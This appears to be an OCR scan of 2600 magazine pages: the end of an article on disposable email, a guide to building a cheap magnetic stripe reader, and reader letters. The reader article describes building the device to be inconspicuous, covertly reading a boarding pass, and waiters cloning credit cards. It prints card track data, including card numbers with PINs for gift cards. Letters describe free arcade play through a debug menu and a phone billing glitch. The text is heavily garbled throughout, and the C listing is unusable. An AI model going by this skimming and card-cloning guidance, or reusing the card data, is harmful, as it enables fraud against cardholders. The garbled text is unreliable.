by someone eLse. It cou Ld actua lly be worse than  
that. Those  of  us who run websites may now have 
peopLe usi n g  the system who have taken over 
someone eLse's account. They a re now i n  the  
system ,  with no  va Lid  emai L, so that they can 
wrea k havoc on you r  system if they wanted to 
without fea r  of repercussi on .  Obvious Ly, you 
cou Ld check the Logs but they si mp Ly use a p roxy 
to avoid detection  without much  deeper means  of 
investi gati on .  

What ca n and  shou Ld be done  a bout these 
p rob Lems? Well, that is  fo r you to decide .  As a 
user of these services, I can si mp Ly recommend  
that  you  be ca refu L a nd  thi n k  out the dangers of 
usi n g  them .  Do not put a ny persona L  i nformation  
on them o r  have persona L  information sent  to 
them .  Do not use them to register with sites 
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where you r  password wi ll be mai led to you .  If you 
do, fo r cryi n g  out loud go  check the emai l  right  
away a nd  then go  i n  a n d  change your password 
immediately! Doi ng  that wi ll keep you from bei ng  
spoofed on  a site b u t  it sti ll lets the  world now 
that you a re registered at that site, so you have 
lost some p rivacy in general .  Keep that in mi nd  
when you  register fo r you r  asso rted p rOn  sites .  

What if you a re a webmaster of a site and you 
a re concerned about this? You a lso have to make 
you r  own choices. You may decide  to n ot a llow 
users to register from these known sites. Many 
sites do not a llow ya hoo or hotmai l or other pub­
li c ma i l  account  users to register. These sites ca n 
be treated the  same way. You ca n send you r  pass­
words encrypted somehow but this makes it 
toughe r  fo r non-tech savvy users to comp lete 
registrati on .  It would ,  however, be safer fo r you r  
site . Ce rtai n ly you  s hou ld fo rce you r  users to 
change thei r  password i m mediately when they 
register so they do not leave that defau lt pass­
word worki n g .  

Fi na lly, I do  not s e e  with so many pub li c  emai l  
services avai la b le,  why people don 't j ust create a 
new Gmai l  account or ya hoo account or hotmai l 
account. The list of options  is end less. These ac­
counts wou ld be passwo rd p rotected but you 
cou ld sti ll treat them as  disposab le accounts. Use 
them once, then fo rget about them . Register 
them against the disposab le services li sted above 
for two layers of p rotecti o n !  That little extra step 
wi ll pay off. But i n stead of usi n g  Gma i l  or yahoo ,  
we decided it wou ld be better to just create our  
own service. 

When I fi rst wrote this a rti cle, I o rigi na lly 
suggested that the  reader  cou ld set up a new 
mai l  service that cou ld elim inate the  p rob lems 
mentioned earlie r. It  so happens  that I had  a do­
main  registered j ust as a test bed fo r diffe rent 
p rojects that we work on. I thought it wou ld be a 
good idea to turn this site i nto a disposab le emai l  
service that actua lly p rotected you r  p rivacy and 
anonymity wh i le p rovid ing  spam p rotecti o n .  The 
fact that it creates a fun ny emai l add ress i s  a 
bonus .  It was a si mp le matter of design ing  a 

database that i nteracted with the  ma i l  server to 
automatica lly create tempora ry accounts on the 
mai l  server and delete them after a certai n 
amount of ti me .  

What makes this service diffe rent? Fi rstly, i t  
offers password p rotecti o n !  Second ly, it offers 
the abi lity to delete emai ls .  Both of these a re of­
fered t h rough  a web mai l  front-end that no one  
else can access without a password . What  this 
a lso does is  lock the  backdoor. Sendi n g  password 
change req uests wi ll not work for two reasons .  
One ,  they wi ll n ot have the password to  you r  ac­
count ( u n less you do somethi n g  stupi d ) ,  a n d  
two , the  accounts a ll have expi ration  dates ! The 
whole poi nt of a disposab le emai l  account  is  that 
it be tempora ry. We desi gned ou r  database to 
have a user-defi n ed expi ration  date (seven days 
maxi m u m )  fo r the account ti me-to-live. After the  
expi ration  date i s  passed ,  the  account i s  de leted 
by a cron job  a n d  permanently locked in the 
database to p revent it from ever bei ng  used 
agai n .  This i n cludes the  o rigi n a l  user. If  you 
wanted a reusab le account, then you s hou ld n 't 
have used a disposab le emai l  service. 

We designed the database to be very si mp le, 
yet powerfu l  at the  same ti me .  It o n ly keeps the 
mini m u m  amount of data to automate the  ser­
vi ce, a n d  the  pa ssword is not one  of them . That is  
h and led by the  mai l  server a lone  to avoi d another  
po int  of  attack .  We a re usi ng  a web mai l  client 
(sti ll u ndeci ded at this poi nt, but p robab ly squi r­
relmai l) to h and le the  i nterface, so that code 
base was a lready done; we si mp ly imp lemented 
it. Ni ck84 wrote the base code and we a ll worked 
together  modifyi ng  it from there .  The site is  
tested and up  and ru nn ing ,  so p lease fee l  free to 
use it. It is a free service from the D D P  to he lp 
p rotect you r  p rivacy and  avoi d spa m .  We use it. 
We li ke it. We hope  you do too. 

Further resea rch :  dodgeit.com ,  mai li n ato r 
-.com,  Google " re lated : " ,  wi llhackfo rfood . biz .  

Shoutz: The DDP, particularly nick84 for writ­
ing the base code, Id@blo, Decoder, lucky225, 
squirrelmail. org. 

Please take a moment to welcome 
a new add it ion to the 2 600 fami ly .  
Fou r n ew pages  have been added a s  of th i s  i s s ue ! 
They a re Pages  61 , 62 , 63 ,  a n d  64 . 
P l ea se do you r  best to ma ke them fee l a t  home .  
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by Redbi rd 
redbi rd @2600. com 

Good magnetic stri pe reade rs a re h a rd to 
come  by. Most a re expensive, o n Ly capab Le of 
read ing  one  or two tracks, a n d  have i n convenient 
i nterfaces. In this a rti cle I wi LL descri be  the 
p rocess of maki ng  a n  extreme Ly cheap, si mp Le, 
and reLi ab Le si ng Le-track reade r  from pa rts that 
a re readi ly avai lab Le. We wi LL be  i nterfaci n g  the 
reade r  to the  microphone  i n put of a sound ca rd , 
which is very convenient for use with most La p­
tops and desktops.  

I wi ll not be discussi ng  the  theory and con­
cepts of magneti c stri pe tech no Logy and the  as­
sumption  i s  made that you a re somewhat fami Li a r  
with the  topic. Fo r  a si mp Listi c overvi ew of mag­
neti c stri pe techno Logy that  i s  easy to  read and  
understa nd ,  I recommend  that  you  read the clas­
sic a rtic le "Ca rd-O- Rama :  Magnetic Stripe Tech­
no Logy and Beyond "  by Count Zero,  which can be 
found  q uick Ly by doi ng  a web search fo r keywo rds 
in the title. 

M ateri a ls 
BeLow is a Li st of materi a ls you ' ll n eed to con­

struct the  reader. 
Magnetic head. Magneti c h eads  a re extremeLy 

com mon .  Disca rded cassette ta pe p Layers contai n 
magnetic heads of a Lmost the exact size needed 
(the sma ll difference won 't matter fo r our app Li­
cati on ) .  Si mp Ly obtai n a disca rded cassette tape 
p Layer and remove the magneti c h ead  without 
damagi n g  it. These heads a re usua lly secured 
with one o r  two screws which ca n be  usefu L  when 
bui ldi ng  the  reader, so don 't disca rd them .  

3.5mm mono phone plug (with 2-conductor 
wire). You ca n fi nd  this on a disca rded monau ra L  
ea rphone  o r  i n  a n  e Lectronics store. 

Soldering iron with solder. 
Optional: 

Wood (or other sturdy material) base to mount 
magnetic head. 
Ruler or other straight edge to slide cards on. 

C o n structi o n  
The  actua L  h a rdwa re desi gn  i s  i n credi b Ly si m­

p Le .  The i nterface consists of si mp Ly con necti ng  
the output of the magnetic head di rectLy to  the  
mic i n p ut of a sound  ca rd.  So Lder  the wi re con­
necti n g  the  3 . 5 m m  mono phone p Lug (base and 
ti p )  to the  Leads  of the magnetic stri pe  head .  Po­
La rity does n ot matter. 

I recommend  that you mount  the  h ead  in a 
way that makes it easy to swi pe a card over it with 

a constant velocity. This i s  where you r  custom 
h a rdwa re i n gen uity comes i n .  Mount a ru Le r  (o r  
othe r  straight  edge )  perpendicuLa r  to  the  mag­
netic head ,  with the  readi n g  so Lenoid (usua LLy 
visi b Le as a b Lack rectang Le on the  head)  at the  
correct distan ce from the base fo r the  cor re­
spondi n g  track. Track 1 sta rts at 0 . 2 2 3 "  from the  
bottom of the  ca rd, Track 2 sta rts at 0 . 333 " ,  and  
Track 3 sta rts at 0 .443" .  

A Lternatively, you can pu rchase a s u rp Lus 
reade r  with no  i nterface (i . e . ,  scrapped o r  with a 
cheap TIL i nterface) a n d  fo llow the  same i nstruc­
ti ons  with the  exception  that the magnetic h ead  
wi ll a Lready be mounted . Most  su rp Lus reade rs 
come  p reset to Track 2 ,  a Lthough  it is usua lly a 
si mp Le ha rdwa re mod  to move it to the  track 
you'd Li ke to read .  This wi LL save you the  troub Le 
of bui ldi n g  a custom swip ing  mechanism a nd  wi LL 
a Lso imp rove the re Li abi lity of the reads .  There a re 
su rp Lus reade rs that can be pu rchased fo r less 
than  $10 US at va rious  o n Li n e  merchants. 

Softwa re 
In this p roj ect, the softwa re does a LL the  

heavy Lifti n g .  The "dab"  uti Lity i n cluded i n  this a r­
ti cle ta kes the raw DSP  data from your sound  
ca rd, decodes the  FSK (frequency shift keyi ng  -
a . k . a .  Atki n Bi p hase) modu Lation  from the mag­
netic stri pe ,  a nd  outputs the  bi n a ry data . Addi­
tiona LLy, you can decode the bi n a ry data usi n g  
the " dmsb "  uti Lity (avai La b Le i n  the "code" section  
of  the  2600 website) to  output the  ASCII cha rac­
ters and perform a n  LRC check to verify the i n ­
teg rity o f  the data , p rovided that the  stri pe 
conforms  to the specifi cations  described i n  ISO 
7811 ,  7813 ,  a n d  optiona LLy ISO 4909 (fo r the un ­
common  Track 3 ) .  Becoming  fami li a r  with these 
specifi cations  wi LL he Lp you unde rstand  the con­
tents of  the  magnetic stri pe when viewi n g  the  
decoded data . 

The p rovided softwa re is mo re p roof-of-con­
cept than  p roducti on code ,  a nd  s hou Ld be treated 
as such .  That sai d ,  it does its job weLl. It i s  open 
source and re Leased under the  MIT Li cen se.  FeeL 
free to contri bute. 

Requi reme nts 
Linux (or the desire to port to another operating 
... system) 
A configured 1 6-bit sound card 
Access to the /dev/dsp device 
libsndfile 

Note that "dab"  can a Lso take i n put from a ny 
audio fi Le supported by Li bsndfi Le. However, it 
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m ust be a clea n samp le that sta rts at the  begi n ­
n ing  of the  fi le. Th i s  i s  usefu l to  eli mi nate the  re­
q ui rement of a sound  ca rd and  a llow samp les to 
be recorded from  another  device (e . g . ,  an M P3 
p layer/ reco rder) a n d  decoded at a nother  ti me .  

Compi li n g  
Edit a ny  configu ration  #defi nes nea r  the  top 

of the dab . c  fi le and p roceed to com pi le the  
sou rce with the  fo llowi n g  com mands :  
c c  dab . c -0 dab - l sn dfil e  

U s a g e  fo r da b.c 
- a ,  - - a u t o - thres S e t  auto-thres percent 

-age ( de f au l t : 3 0 ) .  
- d ,  - - devi ce Device t o  read audio data 

- f rom ( de f au l t :  / d e v / d s p ) .  

-f,  - -tile F i l e  to read audio data f rom 

- ( u s e  i n s t e a d  of - d ) .  

-h , --h elp Print h e l p  i n f o rmat i o n . 

-m t - -max- l e vel S hows the max imum leve l 

- ( u s e  to determine t h r e s h o l d ) .  

- s ,  - - s i l en t  No verbo s e  me s s a g e s . 

- t ,  - - threshold S e t  s i l e n c e  thre s h o l d  

- ( de f au l t : autom a t i c  detect ) .  

-v, - - versi on Print v e r s i o n  i n f o rmat ion . 

My origi n a l  reade r. With this reader  I wou ld 
use a ru le r  as a track guide .  This way I cou ld not 
o n ly read the  th ree standa rd tracks, but a lso data 
on  non-standa rd ca rds, some of which have 
tracks in odd positions  such as th rough  the  
midd le of the ca rd . 

My current reader, made of a modifi ed su rp lus 
reader  which is  o n ly capable of readi ng  the  t h ree 
standa rd tracks .  

Exa m p les 
Below a re some exa mples of a few (hopefu lly) 

less common  ca rds so as to get an idea of the sort 
of data you ' re li kely to fi n d .  
Park Inn (Berl i n -Al exanderpl a t z )  Door 

Key Cards 

Room : 2 0 0 6  

Checkou t Da t e :  12/3 0/2 0 0 4  

Card 1 

Tra ck 2 Da t a : 

510115 2 0 0 6 01091213 012 4 0 0 0 12 0 0 0 0 0 0 0 0 0 0  

Card 2 

Tra ck 2 Da t a : 

510 1 15 2 0 0 6 0 2 0 91213 012 4 0 0 012 0 0 0 0 0 0 0 0 0 0  

Room : 2 0 0 5  

Checkou t  Da t e :  12 /3 0 /2 0 0 4  

Card 1 

Track 2 Da t a : 

510115 2 0 0 5 01016 0 2 3 0 12 4 0 0 012 0 0 0 0 0 0 0 0 0 0  

Card 2 

Track 2 Da t a : 

510115 2 0 0 5 0 2 01 6 0 2 3 0 12 4 0 0 012 0 0 0 0 0 0 0 0 0 0  

SEPTA Mon t h l y  TransPass Cards 

Mon t h : November 2 0 0 4  

Seri a l : 0 014 6 7  

Track 2 Da t a :  
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01010 011010 4 113 0 0 4 0 0 0 0 014 6 7  

Mon th : June 2 0 0 3  

Seri a l : 0 02 4 21 

Track 2 Da t a : 

01010 0 0 60103 0 6 3 0 0 3 0 0 0 0 02 4 21 

Mon th : Jan uary 2 0 0 2  

Seri a l : 0 2 8 813 

Tra ck 2 Da ta : 

01010 0 0 10102 013102 0 0 0 02 8 813 

Sony Connect Cash Cards 

Card Number : 6 0 3 5 71 010 4 62 113 4 5 69 

PIN : 9 014 

Tra ck 1 Da t a : 

B 6 0 3 5 710104 62113 4 5 6 9 " 4 912 0 0 0 0 0 4 0  

Track 2 Da t a :  

6 0 3 5 71010 4 62113 4 5 69 = 4 9 12 0 0 0 0 0 4 0  

Card Number : 6 0 3 5 71 010 4 62 113 2 2 8 2  

PIN : 5 9 6 9  

Track 1 Da t a : 

B 6 0 3 5 710104 62113 2 2 8 2 " 4 912 0 0 0 814 7 

Track 2 Da t a :  

6 0 3 5 710 1 0 4 62113 2 2 8 2 = 4 9 12 0 0 0 814 7 

S t a rb u cks Cards 

Card Number : 6 015 0 613 2 715 8 4 2 6  

Track 1 Da t a : 

B 6 0 10 5 6 5 0 6132 715 8 ' 0 0 4 0 /MOMSDA Y0 4 ' 2 5 0 1  

- 0 0 0 4 0 0 0 0 6 0 018 4 2 6  

Track 2 Da t a : 

6 0 10 5 6 5 0 613 2 715 8=2 5 010 0 0 4 0 0 0 0 6 0 018 4 2 6  

Card Number : 6 0 14 5 4 21 5 6 3 7 9 5 2 9  

Track 1 Da t a : B 6 0105 6 4 5 4 215 6 3 7 7 ' 0 0 2 7 /  

-EXCL USI VEB2B 0 4 ' 2 5 01 0 0 0 4 0 0 0 0 6 0 019 5 2 9  

Tra ck 2 Da t a : 

6 0105 6 4 5 4 215 6 3 7 7=2 5 0 10 0 0 4 0 0 0 0 6 0 019 5 2 9  

Card Number : 6 0 14 5 4 2 1  6 3 0 2  5 75 7  

Track 1 Da ta : B 6 0105 6 4 5 4 215 6 3 7 7 ' 0 02 7 /  

_ EXCL USI VEB2B 0 4  A 2 5 0 10 0 0 4 0 0 0 0 6 0 019 5 2 9  

Tra ck 2 D a t a : 

60105 6 4 5 4 2163 0 2 7=2 5 010 0 0 4 0 0 0 0 6 0 015 75 7  

Con clusi o n  
Th i s  p roject was  o rigi na lly sta rted fo r the New 

York City MetroCa rd decodi n g  p roject that you 
may have hea rd about on Off The Hook. Near ly a ll 
comme rcia l  readers a re unab le to d ump  the raw 
data as  it exists on the MetroCard a nd ,  even if 
they could, they a re p riced way above our (and  
most hobbyi sts ' )  b udget li mitations .  Th i s  solu­
ti on has  worked very well fo r us  and ca n aid you 
in reverse-eng ineeri n g  cards that you may have 
as well. The "dmsb"  app lication  avai la b le o n li n e  
can be  u sed  fo r si mp ly decodi n g  sta nda rd cards 
that you have layi ng  a round  as  well . 

Wh i le my construction exa mp le demonstrates 
a fai rly straig htfo rwa rd a nd  typica l use of a 
magneti c stripe  reader, many other uses ca n be 
considered .  

Fo r i n sta nce, si nce a ll the  data obtai ned from 
the reader  itself is a udio, the  device can be inter­
faced to a digita l audio reco rdi ng  device, such as 

one of the  many M P3 (and other  codec) 
p layer/recorders on  the  market. You cou ld then 
set the  devi ce to reco rd , i nterfaced the  sa me  way 
with the magnetic stripe  reader, a nd  have a 
sta nd-a lone  reader sma ll enough  to fit i n  your  
pocket. Later, you 'd vi ew and ed it  the captu red 
audio fi le, savi n g  the clean waveform to a stan ­
da rd .wav fi le to  be ana lyzed with "dab"  (whi ch ,  
i n  fact, has  th i s  capabi lity) . You ca n even 
construct the reader  i n  an i n conspicuous way, 
so on lookers would never rea lize the device's 
capabi lity. 

H ow is this si gnificant? Readi ng  boa rdi n g  
passes with magneti c stripes is  a perfect app lica­
tio n .  These a re genera lly o n ly avai la b le i n  the  
waiti n g  a rea of  airports . They're i s sued  at check­
i n  a n d  co llected when you board,  leavi n g  a very 
sma ll ti me  ma rgi n d u ri n g  which the stripe  can be 
sca n ned .  In my case, I had been flagged for addi­
ti ona l  secu rity and the infamous  "SSSS" was 
p ri nted on my pass .  Usi n g  my reader, I was a b le 
to duck  i nto a bathroom and  q uick ly read the  
data  i nto my mp3  p layer/reco rder fo r later a na ly­
si s .  (I discovered a mysterious  code on track 2 
( no rma lly b la n k) which read :  "C 1 3190-2 * * * * * * "  
a s  well as  a n  "S" a t  the e n d  o f  the passenger  data 
on track 1 . )  

B u t  the re a re othe r  mo re si nister app li ca­
ti ons .  What if one  of the waiters at you r  favorite 
restau rant bui lt this device and  swi ped the  ca rd 
of everyone  who pays with credit? From the data 
obtai ned ,  an exact clone  of the credit ca rd cou ld 
be created .  C redit card fra ud  wou ld quickly be­
come  out of control if this were commonp lace. 

The sa me  p ri n ci p le cou ld be app lied to re­
verse-engi neeri ng  an u n known magneti c stri pe 
techno logy. Wh i le i n divi dua l  ca rd sa mp les a re of­
ten much  mo re difficu lt to obtai n ,  scann i ng  sam­
p les as you obtai n them enab les you  to  gather 
sa mp les at an  astoni sh ing  rate. This way, sup­
porters can loan  you ca rds to sca n on the  spot. I 
have persona lly used this method fo r the  Metro­
Ca rd decodi ng  p roj ect and it works extremely 
well. 

I cou ld go on and on with mo re exa mp les of 
the i m p li cations  of this sort of desi g n ,  but I 'd li ke 
to hea r  back from the readers as to what othe r  
i deas  may  have been  thought  up .  A l l  feedback i s  
app reciated and ,  ti me  permitti n g ,  a ll questions  
wi ll be a n swered .  

Hopefu lly th i s  p roject makes you rea lize how 
certai n types of techno logy a re p riced way above 
what they have to be to keep them away from 
"us"  because of the fea r of ma licious  use.  I a lso 
hope it encourages mo re p rojects li ke this to s u r­
face so we can lea rn about and  use techno logy 
without the restri ctions  i mposed upon us by bi g 
corpo rations .  
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Bat.La g l i a  <:redbirdl<l 2 6 0 0 . com> 

#i nc lude < f r. n t  1 .  h,. 
#i nc lude 
# i n c lude 
#inc lude <stdio . h> 
# i n c l ude <st d l i b .  h >  
#include 
#inc ludc . h > 
# inc lude < c; y s /  soundcdrd . h> 
# i n c l ude 
# i n c l udc 
# i n c l ude 

" / ctev / d s p '  / *  default sound card dev.lee ' /  
1 9 2 0 0 0  / *  d e f a u l t  * /  

j *  i n i  U a ]  * /  

/ *  #define D r SABTJE yc * /  / *  d i s ab l e  v e l o c i t y  corl-ection i f  defined *j  

30 /'  value to set� 3 1 1 cncC' thres t:o 
1 0 2 4  / ,  
2 0 0  / ' 
6 0  / ' 

n,sec of s i l ence to determLoe end o f  ;;amp l e  * !  
t h r e s h o l d  ( pct ) * I 

6 0  termi n a t ion o t  p r i n t  m a x  leve.L ( } * /  
#dcfine VEHSFJN ' 0 . 6 "  

short int * s amp l e  = NULL ; 
int. samp l e  5 1. 7. ('  - 0 ;  

/ ' 

i *  a l locate memory "-' i t. h Oil\: of 

verS l Oll 

[ s i z e ] a l locaU> s i z e 

' / 

chec k i n g  

t o  a l located memory * j  

v o i d  * pt,- ;  

o f  mcmory . \ n " ) ;  

return ptr ; 

1 *  real locate memOl"y wi "lh out of memory chec:killCJ 

void 

void " n pL r ;  

memo .r: y  L a  real locate 
a l 10raLc s i z c  

n p t r  == realJoc ( pt r ,  s I z e ) ;  
i f  ( np t r  = =  NULL ) { 

f p r i nt f ( stder r ,  " Out of memory . \ n " ) ;  
exit ( EX I T  FAILUHE } ;  

l-eturn npt r ;  

memOl-Y 

j *  a s t r i n g  wlLh out o f  memory e h ,' c i-: i n g  
s t r i n g  to copy 

returns a l l ocated copy o f  strin,] � j  
c h a r  * x s t. rdup ( char 
{ 

char *ptr ; 

+ 1 ) ;  

return ptr ; 

/* read wit_h error checki  I1g 
[ fd ]  fi l e  d c s c r i ptor too rcad from 
[ bu f  1 b u f f e r  
[ count ] to read 
returns read • j 

::; �, i z e _ t  xread ( i nt void " bu t ,  " i 7 C  L count } 
{ 

i n t  retva l ;  

rctva l ; 

count ) ; 

s t ream " ! 

* s tream } 

" ve r s i o n  % s \ n " , 
) ;  Conti n ued o n  page 46 
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Resea rch Results 

D e a r  2600: 
This i s  to com ment on Lori a nd  t3st_s3t's submitted 

observations  in 2 1 : 3  about the "wei rd" n u m ber that gives 
off a list of digits a nd  tones a nd  then reroutes to a busy 
signa l .  The n u mbers were 1-800-506-3 553  a n d  1-800-
789-6324.  I myself had a n  encounter with one of these 
n u m bers. I was sca n ni ng  for extenders and ca me  across 
1-800-877-6533 .  I was ab le to have it p roduce 900 16 7 
11 5030974. I ca lled the n umber on Feb ruary 21 ,  2004 at 
1 :00 P. M .  I ca lled it again n umerous ti mes within the 
course of the hour and it punched off 900 3 7 11  
5030974 and  then 1 ,  and  then 4 .  So p retty much i ts  out­
li ne  is 900 X(X) 7 11 5030974 .  In 2 1 : 3  t3st_s3t ma rked 
the outli ne  as  200 (XX) 7113267347. Upon  fu rther notice 
you can see that the on ly simi larities in these outli n es is 
(XX) 7 11. Potentia lly the 900 and  200 cou ld be state or 
a rea assi g nments and the 5030974 and  3267347 cou ld 
be trun k  pai rs? Once I documented these num bers I 
signed onto the i rc .2600 . net server a n d  chatted with a 
few friends .  We believe that it cou ld potentia lly notify 
the caller of thei r  tru n k  pair 's n umber. 

Also, if a nyon e  knows anyth i ng  about AT&T's Easy 
Reach 800 service I 'd li ke to know. I ca lled up an 800 
n u m ber and was prompted for a password. I was thi n ki ng  
i t  was  a n  extender  because i t  o n ly requested a two digit 
logi n .  I eventua lly located it, but I wi ll n ot disclose it for 
the client's sake. I lea rned it's a to ll-free servi ce to reach 
someone remotely, but I 'm assuming that there a re other 
ca pabi lities .  

The Neuralogist 
In our Latest experiments on the "weird" numbers we 

were getting a suffix of 4086584 with prefixes of 897, 
898, 903, and 914 on the 3553 number. For the 6324 
number we got a suffix of 3267347 with prefixes ranging 
from 215 to 228. As aLways, 71 1 was sandwiched be­
tween the prefix and suffix. ALL of this was identicaL to 
what we got in the faLL. 

What A T&T Easy Reach offers is basicaLly a toLL-free 
number that  consumers forward to their homes, offices, 
or ceLL phones. One of the features which supposedLy 
makes it harder for outsiders to caLL them is the impLe­
mentation of a PIN which, as you mentioned, is a grand 
totaL of two digits. We wouLdn't caLL it the uLtimate way to 
keep peopLe out. 

D e a r  2600: 
For the last ten months I was usi n g  a p repaid cell 

phone  th rough  Verizon Wi reless . (Verizon 's  p repaid ser­
vice sucks ! )  Anyway, I fi na lly got a new cell phone  and  
p la n .  B u t  I sti ll had  a lot o f  games  a nd  ri n g  tones on  the 
old phone that I couldn 't add to my new phone. ( Both 
a re Verizon phones . )  

I u sed  Verizon ' s  Get I t  Now  to  get the games, apps,  
a nd  tones.  This service is  ki nd  of cool but is  a waste of 
money most of the time .  When my prepaid account ran 
out of fu nds ,  I cou ld no  longer make o r  receive a ny 

phone  ca lls on the old phone .  
But then  one  n ight by  accident whi le playi ng  Tetris 

on my old phone ,  I connected to the Get It Now network .  
I was ab le to down load any game,  program ,  ri ngtone ,  o r  
picture free of charge! I have not added  money to  the o ld 
phone  in two months and  I can sti ll con nect to Get It 
Now and  down load anythi ng ,  a nd  I am n ever bi lled for it. 
This must be some g litch on  Verizon ' s  prepaid phones .  

Also ,  I bought  a USB  cable t ha t  con nects my old 
phone  to my computer. Even though I ca n't make o r  re­
ceive a ny norma l  "voice" calls, I ca n sti ll use my old cell 
phone  a s  a modem for my com puter. I ca n use Wi ndows 
HyperTermi na l  to call other modems o r  fax machi nes, or 
I can call some of those free Internet p roviders li ke N et 
Zero to con n ect to the net from my laptop when I 'm n ot 
at home  or when my cab le modem goes out. I 'm not su re 
why Verizon is sti ll a llowi ng  me to make data calls from 
my old phone  without billi n g  me for them .  And I don 't 
understand  why I can make data ca lls but n ot voice calls. 
Have you hea rd of a nyth i ng  li ke this? 

And if Verizon fi na lly rea lizes how m uch stuff I got 
from Get It Now and  a ll of the data ca lls I made,  do you 
thi n k  they wou ld be a llowed to bill me fo r them? Wou ld I 
be responsib le for payi n g  fo r the subscri ption  charges 
and the data ca lls I made? I means it's their fau lt, n ot 
mine .  I did n ot sig n  or ag ree to a ny contracts or a ny­
thi n g .  It was a prepaid service. 

Dys lexi c_ H i p pi e  
If you didn't sign anything, then it's likeLy that Veri­

zon doesn 't even know who you are. And even if they did, 
they wouLd have to somehow prove that  you stiLl had 
your phone and were stiLl using a service that you techni­
caLLy no Longer had. And after that, it wouLd stiLl be their 
responsibility to terminate prepaid service, not yours. 
But we reaLly doubt this littLe bug will Last much Longer 
anyway. 

D e a r  2600: 
Recently, whi lst shopping in an Albertsons store he re 

in Texas ,  I came  across one  that had a B lue Screen of 
Death . I went by to check on it over the n ext week. From 
what I could tell, it runs  on Wi ndows 2000 usi n g  a piece 
of softwa re by NCR .  Options  i n  the menu  i n cluded look­
ing at the amount of cash  in the mach ine and testi n g  it 
out. It let m e  q uit the program as well via the touch 
screen .  I d idn 't get m uch mo re of a chance to work with it 
as  I did n 't have m uch ti me .  But I wou ld appreciate a ny­
one  who cou ld give more i nformati o n .  

The Grand  Master of Confusi on  

D e a r  2600: 
I'm rea lly n othi ng  of a hacker. But I do occasiona lly 

enjoy ti n keri n g  around with computers a nd  electronics to 
see what happens .  I got a g reat opportunity to do this a 
few months back.  I was at a bar  with some close friends ,  
which is  why I may not be too accurate with some of the 
details. We were sitti ng  by one  of those newer Golden Tee 
games (perhaps the 2004/2005 versi o n ,  I 'm not su re) . I 
had noticed that midnight had come  a n d  gone and  be-
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fore long  saw that the game was no longer  on the Attract 
mode that it had been on a ll n ig ht. Instead ,  it was on a 
debug type menu .  

Fo r  the life of me  I ca n 't fig u re out  why  it went i nto 
this mode .  It wasn't a ny special day, not the fi rst or  mid­
d le or  last of the month.  It d idn 't seem li ke it was a round  
a ny specifi c time ,  maybe 12 : 30  centra l ti me .  

You cou ld m ove a round  usi n g  some of  the various  
buttons ,  o r  even up  a n d  down with the rollerbalL I fig­
u red out wh ich  button was  the Enter key and  I was on  my 
way. I had to  be ca refu l not to  get out  of the debug be­
fore I was done  seei ng  al l  that was goi n g  on in there.  
From the looks of it, I could have changed the m essage 
displayed on the overhead scrolli n g  LED ,  but I doubt a ny­
one  wou ld 've n oticed. (I hate when good comedy goes 
u n n oticed ! )  There was a su rprisi n g ly la rge a m ount  of 
menus ,  but for a game that has to con nect to the Inter­
n et somehow I guess this made sense.  I ended the ses· 
sion after I turned the volume  up  a bit (it wasn't that 
loud  i n  the bar but it was basica lly m uted) and found  a 
way to turn on free p lay. I was amazed that it worked but 
su re enough ,  once I exited a ll I had  to do  was keep push­
i n g  the add p layer button to get the credits h igh  enough  
so that my th ree friends  a n d  I cou ld enjoy a fu l l  18 ho les. 
Which we didn 't  - the p lace closed down before we cou ld .  

A t  a different bar, I looked a round  t o  see if there was 
perhaps some button o r  reset switch o r  a ny button  com­
bi nation  that  wou ld take  you  i nto the debug  menu ,  but  
to n o  avai L I would have loved to have spent  some more 
tim e  looki n g  about i n  there, but at the fi rst bar the game 
was pretty m uch i n  p la in  sight  a nd  I d idn 't want  a sus­
pecti n g  waitress to ki ck me  out fo r "b reaki n g "  thei r  
game .  

CatWithTheGatt 
Based on what you told us, it seems as if the bar 

closed at  around 1 am. If somehow they had set this 
thing to go into debug mode a half hour after the bar 
closed, it would make a degree of sense. Then, if they 
didn 't reset the system clock once Daylight Savings Time 
ended, debug mode would be entered an hour earlier 
while the bar was still open. All of this is assuming that  
this is  how the system works and that  someone didn't put 
it into that mode manually. 

Further Info 

D e a r  2600: 
This is in response to the a rti cle " H ow To Hack  The 

Lottery" i n  2 1 : 3 .  It  s hou ld be poi nted out that a lthough  
the odds of  wi n ni n g  the lottery cou ld be viewed as stag­
geri ng ,  i n  the mathematical sense, as the author  poi nts 
out, the remarkab le news is that the odds never ever re­
main  con stant! This is due  p rima ri ly to component toler­
a n ces ( h igh  o r  low) . To lera nce, therefo re, imparts a 
"mechanistic  effect" in a d rawi n g .  For examp le, if the lot­
tery uses pi ng  pong  ba lls, the n u m ber one  ball  theoreti­
ca lly wou ld be lig hter than  the n u m ber 16 ba lL The 
n u m ber 48 ball  may be heavier  than  the 16 ba lL Even if a 
computer is used in a d rawi ng  ( n o  pi n g  pong balls ) ,  com­
ponent tolerances wou ld possi b ly sti ll have a n  effect on 
the odds. 

There a re a lso i nterven ing factors (non-mathemati ­
ca l) wh ich  have a sig nifica nt effect on  lottery odds :  
s ki llset, strategies employed ,  luck ,  fo resig ht, organiza­
tio n ,  and so forth . There a re a few legitimate lottery con-

su ltants out there with a proven track record wi n ni n g  
jackpots for schools so that they (the schools )  c a n  afford 
textbooks a nd  cou rse materia ls .  I've i nterviewed a coup le 
of consu ltants a n d  have reviewed thei r  game tickets a n d  
m o d u s  opera ndi . It's n ot surprisi n g  that these consu l­
tants a re often eng ineers who enjoy the study of num­
bers a nd  thei r  behaviors .  

Playi ng  the lottery can be a good thi n g  if done  in 
moderati on  and if the p layer has  a n  u nderstan di n g  of 
the dynamics/cha llenge  invo lved . And  if one  paper p lays, 
li ke people do i n  commodities to lea rn the a rt of tradi ng ,  
it doesn 't have to cost a nythi ng .  You can a lways wager 
rea l money when the jackpots a re bui lt up ,  o n  average, 
every two to th ree months .  Additiona lly, different lottery 
games offer better odds .  U ltimately, choosi n g  a game 
with some forethought  makes prudent sense.  

We a lso need to keep i n  mind  that ou r  i nvo lvement in 
games teaches us  obscure ski lls for complex problem 
solvi n g !  

I enjoy your magazi ne .  It's h elped me  with creative­
divergent thi n ki n g .  

Ruth (Quantum Researcher) 
Lottery consultants winning jackpots so schools can 

buy textbooks? What  a bizarre concept. 

Dear  2600: 
For several issues now people have created rather 

convoluted ways of getti n g  thei r  Internet IP  address 
when it changes due to havi n g  a dynamic  add ress. Up­
dati n g  a website o r  havi n g  the address emai led to them 
is rei nventi n g  the wheel when dynamic  DN5  services exist 
li ke that on dyndn s .org .  This site gives you a domain  
name  for free from many they have avai lab le li ke 
mine . n u .  So your address wou ld be somename .mi n e . n u .  
